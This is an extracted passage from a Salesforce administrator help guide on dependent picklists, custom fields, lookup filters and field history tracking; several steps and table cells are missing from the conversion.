For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom
setting.
1066
Customize
7. Optionally, click Preview to test your selections. If your organization uses record types, choose a record type to test how
it affects your controlling and dependent picklist values. The record type controls what values are available in the controlling
field. The record type and the controlling field together determine what values are available in the dependent pickilst. For
example, a dependent value is only available if it is available in the selected record type as well as the selected controlling
value.
Note: The Filter by Record Type option does not appear in the Preview window for activity custom fields.
8. Click Save.
9. If your organization uses record types, make sure that your controlling and dependent picklist values are available in the
appropriate record types. For instructions on using record types, see Managing Record Types on page 1268.
See Also:
Dependent Picklist Considerations
Editing Dependent Picklists
Deleting Picklist Dependencies
Use dependent picklists to help your users enter accurate and consistent data. A dependent picklist is a custom or multi-select
picklist for which the valid values depend on the value of another field, called the controlling field. Controlling fields can be
any picklist (with at least one and fewer than 300 values) or checkbox field on the same record.
For example, you can define a Reason custom picklist on opportunities and make its valid values depend on the value of the
Stage picklist as follows:
If Stage is Closed Won, the valid values for Reason are Superior features or Lower price.
If Stage is Closed Lost, the valid values for Reason are Inferior features, Higher price, or Company
viability.
See Also:
Defining Dependent Picklists
Dependent Picklist Considerations
1067
Customize
Customize Application
The field dependency matrix lets you specify the dependent picklist values that are available when a user selects each controlling
field value. The top row of the matrix contains the controlling field values, while the columns list the dependent field values.
Use this matrix to include or exclude values. Included values are available in the dependent picklist when a value in the
controlling field is selected. Excluded fields are not available in the dependent picklist for the selected controlling field value.
To include or exclude values:
Double-click values to include them. Included values are indicated with highlighting. Double-click any highlighted values
to exclude them.
Click a value and use SHIFT+click on another value to select a range of adjacent values. Then click Include Values to
make the values available, or Exclude Values to remove them from the list of available values.
Click a value and use CTRL+click to select multiple values. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.
Click a column header to select all the values in that column. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.
Customize Application
1068
Customize
For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom
setting.
See Also:
About Dependent Picklists
Customize Application
If you no longer want the values of a dependent picklist to depend on a controlling field, delete its dependency. Deleting the
dependency removes the logic that defines how the values of the picklist depend on the controlling field, but doesn't delete
the fields or affect their data.
To delete picklist dependencies:
1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
3. Click Field Dependencies.
4. Click Del next to the field dependency relationship you want to delete.
5. Click OK to confirm.
See Also:
About Dependent Picklists
1069
Customize
Customize Application
1070
Customize
If a dependent picklist is required and no values are available for it based on the controlling field value, users can save
the record without entering a value. The record is saved with no value for that field.
Picklist limitations
Custom picklist fields can be either controlling or dependent fields.
Standard picklist fields can be controlling fields but not dependent fields.
The maximum number of values allowed in a controlling field is 300. In addition, if a field is both a controlling field
and dependent picklist, it can't contain more than 300 values.
Before defining a dependency, make sure your picklist has at least one value; standard fields like Product Family do
not contain any values until you add them.
If a standard controlling field relies on functionality that your organization decides to disable, the dependency rules for
the picklist will go away. For example, if your organization disables the Self-Service portal and the Closed by
Self-Service User is a controlling field, its dependent picklist will display all available values.
The following fields are not available as controlling fields:
Activity Fields
Call Type
Create recurring series of events
Show Time As
Subject
Task
Type
Contact Fields
Salutation
Contact Currency
Lead Fields
Converted
Unread By Owner
Record types
The values in your controlling fields are determined by the record type selected. The values in your dependent picklists
are determined by the record type and controlling field value selected. In short, the values available in dependent picklists
are an intersection of the record type and controlling field selections. For more information on record types, see Managing
Record Types on page 1268.
See Also:
About Dependent Picklists
1071
Customize
Sorting Picklists
Sorting Picklists
Available in: All Editions
Customize Application
For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or
Event Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.
2.
3.
4.
5.
6.
See Also:
Picklist Considerations
1072
Customize
Customize Application
You may need to replace a picklist value with another. For example, your status picklist has five values (Open, In Progress,
Closed-red, Closed-yellow, and Closed-green) and you want to simplify it to three values (Open, In Progress, and Closed).
You need to replace the Closed-red, Closed-yellow, and Closed-green values with a new value: Closed.
Note: Replacing an existing picklist value also changes the Modified By date and time for the record.
To globally replace the values of picklist fields in existing records follow the steps below.
1. If necessary, create the replacement value in the picklist edit page, see Updating Picklists on page 1060.
2. Navigate to the fields area of the appropriate object:
For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or
Event Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.
3.
4.
5.
6.
See Also:
Picklist Considerations
1073
Customize
Customize Application
To tailor your organization, you can add custom fields for each of the tabs and objects that your organization uses.
For the total number of custom fields you can create, see Salesforce Editions and Limits on page 2076.
See the following for more information:
1074
Customize
Customize Application
Create custom fields to store the information that is important to your organization. Before you begin, determine the type of
custom field you want to create. You can create many different custom field types, including lookup, master-detail, and
hierarchical relationships.
To add a custom field:
1. Navigate to the fields area of the appropriate object:
For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom
setting.
2. Click New in the Custom Fields & Relationships section of the page.
Tip: From this section, you can also set field dependencies and field history tracking on custom objects.
Some data types are only available for certain configurations. For example, the Master-Detail Relationship
option is available only for custom objects when the custom object does not already have a master-detail
relationship. Also, custom settings only allow a subset of the available data types.
Relationship fields count towards custom field limits.
Field types not listed in custom field types may appear if your organization installed a package from the
AppExchange that uses those custom field types.
The Roll-Up Summary option is only available on certain objects.
Field types correspond to API data types. For more information, see API Data Types and API Field Types
in the SOAP API Developer's Guide.
4. For relationship fields, choose the object that you want to associate with it.
1075
Customize
If a standard field and custom field have matching names or labels, the merge field displays the value of the
custom field.
If two custom fields have matching names or labels, the merge field may not display the value of the field you
expect.
For example, if you create a field label called Email, the field name automatically populates as Email__c. If you
also have a standard field with the label Email, the merge field may not be able to distinguish between the standard
and custom field names. Make both the custom field name and label unique by adding a character to each, such
as Email2 and Email2__c, respectively.
6. Enter any field attributes.
7. (Master-detail relationships on custom objects only) If desired, select the Allow reparenting checkbox to allow a child
record in the master-detail relationship to be reparented to a different parent record.
8. For relationship fields, optionally create a lookup filter to limit the valid values and lookup dialog results for the field.
9. Click Next to continue.
10. In Enterprise, Unlimited, and Developer Editions, specify the field's access settings for each profile, and click Next.
Access Level
Enabled Settings
Visible
None
Note:
When you create a custom field, by default the field isn't visible or editable for portal profiles, unless the field
is universally required.
Profiles with View Encrypted Data permission are indicated with an asterisk.
11. Choose the page layouts that should display the field as an editable field.
The field is added as the last field in the first two-column section on the page layout. For long text area fields, the field is
added to the end of the first one-column section on the page layout. For user custom fields, the field is automatically added
to the bottom of the user detail page. For universally required fields, you cannot remove the field from page layouts or
make it read only.
1076
Customize
12. For relationship fields, choose whether to create a related list that displays information about the associated records. You
can choose to put the related list on any page layouts for that object.
To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related
List Label.
To add the new related list to page layouts that users have already customized, check Append related list to
users existing personal customizations.
13. Click Save to finish or Save & New to create more custom fields.
Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
you request may be queued and you may receive an email notification when the process has completed.
See Also:
Custom Field Attributes
Notes on Changing Custom Field Types
Additional Custom Field Options
Additional Options for Updating Picklists
Considerations for Universally Required Fields
Defining Roll-Up Summaries
Managing Deleted Custom Fields
Custom Settings Overview
Building Formulas
Defining Default Field Values
Description
Auto Number
Checkbox
1077
Customize
Type
Description
Currency
Date
Date/Time
Formula
Hierarchical Relationship
Lookup Relationship
1078
Customize
Type
Description
lookup relationship with cases that lets you associate a
particular case with an opportunity. A lookup relationship
creates a field that allows users to click a lookup icon and select
another record from a popup window. On the associated
record, you can then display a related list to show all of the
records that are linked to it. You can create lookup relationship
fields that link to users, standard objects, or custom objects.
If a lookup field references a record that has been deleted,
Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being
deleted if theyre in a lookup relationship. For more
information on lookup relationships, see Overview of
Relationships on page 1740.
Lookup relationship fields are not available in Personal
Edition.
Lookup relationship fields to campaign members are not
available; however, lookup relationship fields from campaign
members to other objects are available.
Master-Detail Relationship
Number
Percent
1079
Customize
Type
Description
Phone
Picklist
Picklist (Multi-select)
Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.
Roll-Up Summary
Text
Text (Encrypted)
Text Area
1080
Customize
Type
Description
With the use of a toolbar, users can format the field content
and add images and hyperlinks. The toolbar allows the user
to undo, redo, bold, italicize, underline, strike-out, add a
hyperlink, upload or link to an image, modify alignment, add
a numbered or non-numbered list, indent, and outdent. The
maximum field size is 32,768 characters, inclusive of all the
formatting and HTML tags. Only the first 254 characters in
a rich text area or a long text area are displayed in a report.
The maximum size for uploaded images is 1MB. Only gif,
jpeg and png file types are supported. For more information,
see Using Rich Text Area Fields on page 1107.
URL
See Also:
Changing Custom Field Type
Notes on Changing Custom Field Types
About Roll-Up Summary Fields
Description
# Visible Lines
For long text area fields, set the number of lines to be displayed on edit
pages. You can display between 2 and 50 lines (the default is 6 lines). If the
text does not fit in the specified number of visible lines, scroll bars will
appear. Long text area fields are displayed in their entirety on detail pages
and printable views.
Calculation Options
Data Type
The data type of a field determines what type of information is in the field.
For example, an field with the Number data type contains a positive or
1081
Customize
Field
Description
negative integer. For more information on data types, see Custom Field
Types on page 1077.
Decimal Places
For number, currency, and percent fields, the number of digits you can enter
to the right of a decimal point, for example, 4.98 for an entry of 2. Note
that the system rounds the decimal numbers you enter, if necessary. For
example, if you enter 4.986 in a field with Decimal Places of 2, the
number rounds to 4.99.
Default Value
The value to apply when a user creates a new record. For checkbox custom
fields, choose Checked or Unchecked as the default value to indicate the
default when creating new records. Default values should not be assigned
to fields that are both required and unique, as uniqueness errors may result.
See About Default Field Values on page 1156.
Description
Text that describes the custom field. This description is for administration
purposes only and does not display to users on record detail and edit pages
that include the field.
Display Format
External ID
For each object that can have custom fields, you can set up to three custom
text, number, or email fields as external IDs. An external ID field contains
record identifiers from a system outside of Salesforce.
You can use an external ID field to update or upsert records using the API.
When using the API or import wizards for custom objects and solutions,
you can use this field to prevent duplicates by also marking the field as
Unique.
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.
Filter Criteria
Formulas
Enter the formula for the custom formula field or custom summary formula
for reports. For help on building formulas, see Building Formulas on page
1147.
1082
Customize
Field
Description
Help Text
The text that displays in the field-level help hover text for this field.
Label
For text fields, the maximum number of characters that a user can enter in
a field (up to 255 characters).
For number, currency, and percent fields, the number of digits you can enter
to the left of the decimal point, for example, 123.98 for an entry of 3.
Mask Character
For encrypted text fields, determines the character to use for hidden
characters. Available options are * and X.
Mask Type
For encrypted text fields, determines which characters are hidden and the
use of dashes in the field. Masked characters are hidden using the character
selected in Mask Character. Available options are:
Mask All Characters
All characters in the field are hidden.
Last Four Characters Clear
All characters are hidden but the last four display.
Credit Card Number
The first 12 characters are hidden and the last four display. Salesforce
automatically inserts a dash after every fourth character.
National Insurance Number
All characters are hidden. Salesforce automatically inserts spaces after
each pair of characters if the field contains nine characters. Use this
option for UK NINO fields.
Social Security Number
The first five characters are hidden and the last four display. Salesforce
automatically inserts a dash after the third and fifth characters.
Social Insurance Number
All characters are hidden but the last three display. Salesforce
automatically inserts a dash after the third and sixth characters.
Master Object
For relationship fields, the title for the related list that displays associated
records on the parent record.
Related To
Required
1083
Customize
Field
Description
Default values should not be assigned to fields that are both required and
unique, as uniqueness errors may result. See About Universally Required
Fields on page 1196.
Roll-Up Type
Description
Starting Number
SUM
MIN
Displays the lowest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.
MAX
Displays the highest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.
Sharing Setting
Summarized Object
Unique
1084
Customize
Field
Description
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.
Values
For picklist fields, a list of available values (up to 255 characters for each
value). For picklists, select the appropriate checkbox to alphabetize the
picklist entries. You can also set the first value as the default selection. If
you mark both boxes, Salesforce first alphabetizes the entries and then sets
the first alphabetized value as the default. For multi-select picklists, enter
a list of values, check the sorting options that apply, and enter how many
values you want displayed at a time on edit pages, which determines the
box height.
Displayed Values
{0}
3 66 103
{000}
Sample- {00000}
PO #{0} {MM}-{DD}-{YY}
See Also:
Creating a Many-to-Many Relationship
Web Services API Developer's Guide
1085
Customize
Editing Fields
Available in: All Editions
Standard Objects are not available in Database.com
Customize Application
1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
3. Click Edit next to the fields name.
4. Modify the field attributes. The attributes differ depending on the field type.
To change the type of your custom field, see Changing Custom Field Type on page 1250.
To make changes to picklists:
Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or
change additional information.
Click Del next to a value to remove it from the picklist.
Special picklistssuch as opportunity Stage, Task Priority, Task Status, Lead Status, and Case
Statusmay prompt you to map the deleted value to another existing value in all of your organizations records. You
can map the values or leave your existing data unchanged.
Click New to add values to the picklist. If you use record types, select any record types that you want to include the
new values.
Click Reorder to change the sequence of picklist values.
Click Replace to change the values of picklist fields in existing records.
Click Printable View to open an easy-to-print list of your picklist values.
Click Chart Colors and select an option to assign colors to picklist values for use in charts:
Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
Assigned dynamically for all colors. Assign fixed colors by editing picklist values. For example, if you only need
certain picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest
as Assigned dynamically.
Manual assignments are overridden each time you click an option in Chart Colors.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
Knowledge Validation Status, and Opportunity Competitor picklists.
1086
Customize
5.
6.
7.
8.
Editing fields may require changing a large number of records at once. To process these changes efficiently, you
request may be queued and you may receive an email notification when the process has completed.
To customize the way a custom objects related list appears on a parent records detail page, edit the parent records
page layout. For example, if you want to edit which fields appear on a custom objects related list on accounts, you
would edit the account page layout.
You cannot change the Field Name if a custom field is referenced in Apex.
When editing fields for accounts, opportunities, cases, contacts, or custom objects, check for any criteria-based
sharing rules that use the field in the rules. A field change may affect which records are shared.
See Also:
Changing Custom Field Type
Field-Level Security Overview
Additional Custom Field Options
Additional Options for Updating Picklists
Considerations for Universally Required Fields
Defining Default Field Values
About Universally Required Fields
Managing Deleted Custom Fields
Customize Application
1087
Customize
Restrict the Account Name field on opportunities to allow only accounts with a record type of Customer, filtering out
Partner and Competitor.
Restrict the Account Name field on opportunities to allow only active accounts.
Restrict the Contact field on cases to allow only contacts associated with the account specified in the Account Name
field on the case record.
Restrict the Account Name field on cases to allow only users with the International Sales profile to create or edit cases
for accounts outside the United States.
Tip: When you define a lookup filter, optionally click Insert Suggested Criteria to choose from a list of
lookup filter criteria that Salesforce suggests based on the relationships between objects in your organization.
For fields with required lookup filters, only values that match the lookup filter criteria appear in the lookup dialog. Also,
users can't save invalid values manually typed in the field when editing the record. If a user tries to save an invalid value,
Salesforce displays an error message, which administrators can customize.
For fields with optional lookup filters, only values that match the lookup filter criteria appear in the lookup dialog initially;
however, users can click the Show all results link in the lookup dialog to remove the filter and view all search result values
for the lookup field. Also, optional lookup filters allow users to save values that don't match the lookup filter criteria, and
Salesforce does not display an error message if a user tries to save such values.
See Also:
Notes on Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
Customize Application
A dependent lookup is a relationship field with a lookup filter that references fields on the source object. For example, you can
configure the case Contact field to only show contacts associated with the account selected in the case Account Name field.
1088
Customize
When a user changes the value of a referenced field on the source object, Salesforce immediately verifies that the value in the
dependent lookup still meets the lookup filter criteria. If the value doesn't meet the criteria, an error message is displayed and
users can't save the record until the value is valid.
If the referenced field on the source object is a lookup, master-detail, or hierarchy field, users can't change its value by typing.
Instead, users must click the lookup icon and select a value in the lookup search dialog.
See Also:
About Lookup Filters
Notes on Lookup Filters
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
Customize Application
Best Practices
Custom Help
Define custom help for fields with lookup filters to let users know about the business rule the filter enforces. For example,
if the lookup filter restricts the Account Name on opportunities to only allow active accounts, define custom help that
states You can only associate active accounts with opportunities.
Error Messages
Customize lookup filter error messages to guide users who type invalid values. For example, if the lookup filter restricts
the Account Name on opportunities to only allow active accounts, define an error message that states Value doesn't
exist or isn't an active account.
Important: Salesforce translates the standard error message for required lookup filters, but not custom error
messages. Use the Translation Workbench to translate lookup filter custom error messages. To restore the
standard error message after modifying it, click Reset to default message.
Profile-Based Lookup Filters
Use Current User Profile: ID in filter criteria to define different filter criteria for different users, or to let
administrators enter values that don't match the criteria. Avoid using Current User Profile: Name due to
technical limitations on standard profiles. See Lookup Filter Examples on page 1095.
1089
Customize
If a dependent lookup is above its controlling field on a layout, make its lookup filter optional or redesign the layout.
Moving a required dependent lookup above its controlling field may confuse users who typically start from the top
of a page when entering data.
Ensure that both the controlling and dependent fields are visible so users can correct invalid values.
Accounts
Assets
Contacts
Entitlements
Quotes
Service contracts
Users
Custom objects
For example, you can define a lookup filter on opportunities that points to accounts, but not vice-versa.
Lookup filter criteria can compare fields on the source object with different types of fields on the target object as long as
the fields are compatible.
Source Object Field Type
Currency
Date
Date/Time
Hierarchy
Lookup
Master-Detail
Number
Percent
1090
Customize
Picklist
Roll-Up Summary
Lookup filter criteria cannot reference the following types of fields on the source object:
Autonumber
Encrypted
Formula
Long text area
Multi-select picklist
Roll-up summary
Text
Text area
URL
On the Fields page, the icon indicates all fields with active lookup filters. The icon indicates that the lookup filter
is required.
If you enter Current User Profile: Name or Profile: Name in the Field column of your lookup filter criteria,
Salesforce displays a lookup icon in that row. Click the lookup icon to select from a list of existing profiles rather than
typing profile names.
The lookup filters you create in Salesforce also appear in the partner portal and Customer Portal.
Lookup filters are case-sensitive.
If you convert a required lookup filter with a custom error message to optional, Salesforce deletes the message.
If you create a lookup filter that invalidates an existing value for that field, the value persists; however, when a user edits
the record, Salesforce displays an error message and requires the user to change the invalid value before saving.
Salesforce prevents you from saving changes that cause required lookup filters on related records to contain invalid values.
Lookup auto-completion doesn't work for user lookups with additional drop-down lists. This is primarily for organizations
that have set up either a partner portal or Customer Portal.
Salesforce ignores lookup filters when converting leads if the Enforce Validation and Triggers from Lead
Convert checkbox on the Lead Settings page is deselected.
Versions 16.0 and higher of the Salesforce API support lookup filters. Lookup filters are enforced when you load data
through the API.
If you configure a lookup filter to show inactive users only, the relationship field has no valid options because inactive users
are never valid for relationship fields that point to the User object.
In enhanced list views, you cannot change fields that a dependent lookup filter criteria references.
Lookup filters do not support mass owner changes. If your lookup filter criteria reference the Owner field, performing a
mass owner change can result in incorrect values that won't be noticed until you attempt to save the record.
Lookup filters cannot reference formulas that reference global merge fields that lookup filters do not support.
If you create a filtered lookup on a field that looks up to another object, both objects must be deployed into the organization
at the same time.
Salesforce does not display an error message if the value of a controlling field invalidates the value of a dependent
master-detail relationship field.
Salesforce does not support inline editing in list views for:
Fields on the source object that are referenced in dependent lookups.
Fields with dependent lookups.
1091
Customize
For standard objects, click Your Name > Setup > Customize, select the object from the Customize menu, and click
Related Lookup Filters.
For custom objects, click Your Name > Setup > Create > Objects, select one of the custom objects in the list, and scroll
to the Related Lookup Filters related list.
You want to improve user efficiency by limiting the number of available options in a lookup search dialog.
You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.
Other Limitations
Lookup filter criteria can reference fields on accounts, assets, contacts, entitlements, quotes, service contracts, users, and
custom objects, with the following exceptions:
Relationship fields on activities
System fields that are always read only, such as Created By and Modified By
Relationship fields that support queues, such as Case Owner and Lead Owner
Each object can have up to five active required lookup filters and an unlimited number of optional lookup filters. If you
reach the limit of required lookup filters for an object, create optional filters instead and use validation rules to enforce
your business rule when a user saves.
Lookup filters on currency fields don't convert currencies. For example, if your organization uses multiple currencies and
a lookup filter criteria is Expected Revenue greater than 100000, the lookup shows all records with an
Expected Revenue field value greater than 100,000, regardless of the currency.
You can't use special date values, such as Today or This Month, in lookup filter criteria.
You can't delete fields that are referenced in an active lookup filter.
You can't change the field type of fields referenced by an active lookup filter.
1092
Customize
Person Accounts don't support Contact filters; however, Person Accounts support Account filters. For example, if the
Account field has a dependent lookup filter that's added to a Person Account, dependent lookups are supported. If the
Contact field has a dependent lookup filter that's added to a Person Account, dependent lookups isn't supported.
Lookup filter criteria on Account Name only apply to business accounts, not person accounts. For example, if your lookup
filter criteria is Account Name does not contain book, business accounts with "book" in the name, such as John's
Bookstore, are not valid, but person accounts with book in the name, such as John Booker, are valid and appear in the
lookup dialog for the Account field. If you need to filter on the name for a person account, use the First Name or Last
Name fields instead.
Use the Is Person Account field in your lookup filter criteria to restrict the valid values of a lookup field to one type
of account (either person accounts or business accounts). For example, to restrict a lookup to only person accounts, include
the following in your lookup filter criteria: Is Person Account equals True.
You can't package lookup filters that reference standard fields specific to person accounts, such as the Email and Title
fields.
See Also:
About Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
"Customize Application"
For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize
menu, and click Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
b. Click Edit next to the name of the lookup or master-detail relationship field to which you want to apply the filter.
2. In the Lookup Filter Options section, click Show Filter Settings.
3. Specify the filter criteria a record must meet to be a valid value. To specify criteria, click Insert Suggested Criteria
and choose from a list of suggested criteria, or manually enter your own criteria. To enter your own criteria:
1093
Customize
a. In the first column, click the lookup icon or start typing in the text box and select a field.
b. In the second column, select an operator.
c. In the third column, select Value if Salesforce should compare the field in the first column with a static value, or select
Field if Salesforce should compare the field in the first column with the value of another field.
d. In the fourth column, enter the value or select the field that Salesforce should compare with the field in the first column.
Note:
4. Specify whether the filter is required or optional. For fields with optional lookup filters, only values that match the lookup
filter criteria appear in the lookup dialog initially; however, users can click the Show all results link in the lookup dialog
to remove the filter and view all search result values for the lookup field. Also, optional lookup filters allow users to save
values that don't match the lookup filter criteria, and Salesforce does not display an error message if a user tries to save
such values.
For required lookup filters, specify whether you want Salesforce to display the standard error message or a custom message
when a user enters an invalid value.
5. Optionally, enter text to display in the lookup search dialog. Consider text that guides users in their searches and explains
the business rule that the lookup filter implements.
6. Leave Active selected.
7. Click Save.
Important: When creating a lookup filter on a master-detail relationship field, verify that the current values of the
field on all of the detail records meet the criteria you specify. If you specify criteria that an existing value doesn't meet,
Salesforce prevents the user from saving changes to the detail record. If this occurs, the user must first modify the
value on the master record to meet the criteria. For example, consider a custom object with a master-detail relationship
field that points to accounts. If you define a lookup filter that excludes all accounts with a Create Date before
01/01/2009, verify that no existing records of that custom object have a master-detail relationship with any account
created before 2009. A quick way to do this is to create a report that shows all accounts with a Create Date before
01/01/2009.
If at some point you no longer need this lookup filter, return to this page and do one of the following:
Deactivate the lookup filter
Deactivating a lookup filter preserves the lookup filter configuration but:
1094
Customize
For standard objects, click Your Name > Setup > Customize, select the object from the Customize menu, and click
Related Lookup Filters.
For custom objects, click Your Name > Setup > Create > Objects, select one of the custom objects in the list, and scroll
to the Related Lookup Filters related list.
See Also:
About Lookup Filters
Notes on Lookup Filters
About Dependent Lookups
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
"Customize Application"
1095
Customize
Current
Account
Current
Account
Current
User Profile:
Name: Billing
User Profile:
Name: Billing
User Profile:
1096
Customize
Filter Logic
(1 AND 2) OR (3 AND 4) OR 5
Current User
Current User
Compensation
Current User
Current User
Filter Logic
((1 OR 2) AND 3) OR (4 OR 5)
1097
Customize
Filter Criteria
1. Partner Contact: Account: Account Record Type equals value Partner Account
2. Partner Contact: Account: Account Name equals value
Filter Logic
1 OR 2
1098
Customize
Object
Fields
Meeting
Meeting Name
Office lookup to the Office object
Projector Required checkbox
Number of Participants number field
Conference Room lookup to the Conference Room
object
Conference Room
object
Office
Office Name
The following lookup filter on the meeting Conference Room field restricts the valid values to conference rooms that have
a projector if the meeting requires one, as well as the necessary number of seats:
Filter Criteria
1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector
2. Meeting: Projector Required equals value False
3. Conference Room: Number of Seats Available greater or equal field Meeting: Number
of Participants
Filter Logic
(1 OR 2) AND 3
Filter Logic
(1 OR 2) AND 3 AND 4
1099
Customize
See Also:
About Lookup Filters
Notes on Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields
Customize Application
You can select certain standard and custom fields to track the history of related list of accounts, cases, contacts, contracts,
leads, opportunities, solutions, and custom objects. Modifying any of these fields adds a new entry to the History related list.
All entries include the date, time, nature of the change, and who made the change. History data does not count against your
organizations storage limit. Note that not all field types are available for history tracking.
For more information on tracking field history, see the following:
Accounts
Cases
Contacts
Entitlements
Service contracts
1100
Customize
For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History,
Enable Lead History, or Enable Opportunity Field History checkbox. Deselect the checkbox if you do
not want to track any changes. If you deselect the checkbox, the History related list is automatically removed from
associated page layouts.
This checkbox is not available for cases, solutions, or contracts because you cannot disable their history tracking. Certain
changes, such as case escalation, are always tracked.
When you choose the fields you want to track, Salesforce begins tracking history from that date and time forward.
Changes made before that date and time are not included. Note that some case, solution, and contract fields are
preselected for history tracking, so changes to those fields are automatically tracked from the time your organization
began using Salesforce.
You can select a combination of up to 20 standard and custom fields per object.
You cannot track the following fields:
History of formula, roll-up summary, or auto-number
1101
Customize
If you use both business accounts and person accounts, review the following before enabling account field history tracking:
Field history tracking for accounts affects both business accounts and person accounts.
A maximum of 20 account fields can be tracked. This limit includes fields on person accounts and business accounts.
Enabling field history tracking on person accounts does not enable field history tracking on personal contacts.
To report on person account history, run the Account History report.
You can report on activated contracts whose fields are tracked by clicking New Custom Report on the Reports tab, selecting
Contract Reports as the data type, and choosing Contract History.
If you disable field history tracking on an object, you can still report on its history data up to the date and time you disabled
tracking.
You cannot disable field history tracking for an object if a field on the object is referenced in Apex. For more information,
see Apex Code Overview on page 1994.
If the parent record in a lookup relationship is deleted, the field history tracking for the child record does not record the
deletion. For example, if a parent account is deleted, the Account History related list for the child account does not show
the deletion.
Customization
When you enable history tracking for an object, be sure to customize your page layouts to include the object's history related
list. For more information, see Customizing Page Layouts on page 1278.
You cannot customize which opportunity fields are tracked in the opportunities' Stage History related list; however, you
can choose which opportunity fields are tracked in the Opportunity Field History related list.
You cannot customize the History related list because it does not store data. The History related list links to data stored
elsewhere.
When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.
If you disable field history tracking on a custom object, then you cannot report on its field history.
Management
Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded. For
example, changes to long text area fields are tracked as edited.
Tracked field values are not automatically translated; they display in the language in which they were made. For example,
if a field value is changed from Green to Verde, Verde is displayed no matter what a user's language is, unless the field
value has been translated into other languages via the Translation Workbench. This also applies to record types and picklist
values.
Changes to date fields, number fields, and standard field labels are shown in the locale of the user viewing the History
related list. For example, a date change to August 8, 2005 shows as 8/5/2005 for a user with the English (United States)
locale and as 5/8/2005 for a user with the English (United Kingdom) locale.
Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the
user viewing the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then
1102
Customize
a user with a Spanish locale will see the custom field label as Rojo. Otherwise, the user will see the custom field label as
Red.
Changes to the Amount and Quantity fields on opportunities are tracked even when the field is updated as the result of
a change to an opportunity's products or schedules.
Changes to the Closed When Created field on cases are only tracked when the field is updated via the Force.com API.
Field updates are tracked in the History related list if you have set history tracking on those fields.
See Also:
Case History
Solution History
Contract History
About Custom Fields
Deleting Fields
Viewing Fields
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Standard Fields are not available in Database.com
Click Edit to modify a custom field or change the custom field's data type. See Changing Custom Field Type on page
1250.
Click Set Field-Level Security to set users' access to the field. Available in Enterprise, Unlimited, and Developer
Edition organizations only.
Click View Field Accessibility to view who can access the field based on permissions and record type. Available in
Enterprise, Unlimited, and Developer Edition organizations only.
If the field is a dependent picklist, view a list of the controlling fields on which it depends. Click New to define a
dependent picklist. Click Edit to change the picklist dependency rules or Del to remove the picklist dependency. For
information on dependent picklists, see Defining Dependent Picklists on page 1066.
If the custom field is a dependent picklist, click [Change] next to the controlling field to edit the picklist dependency
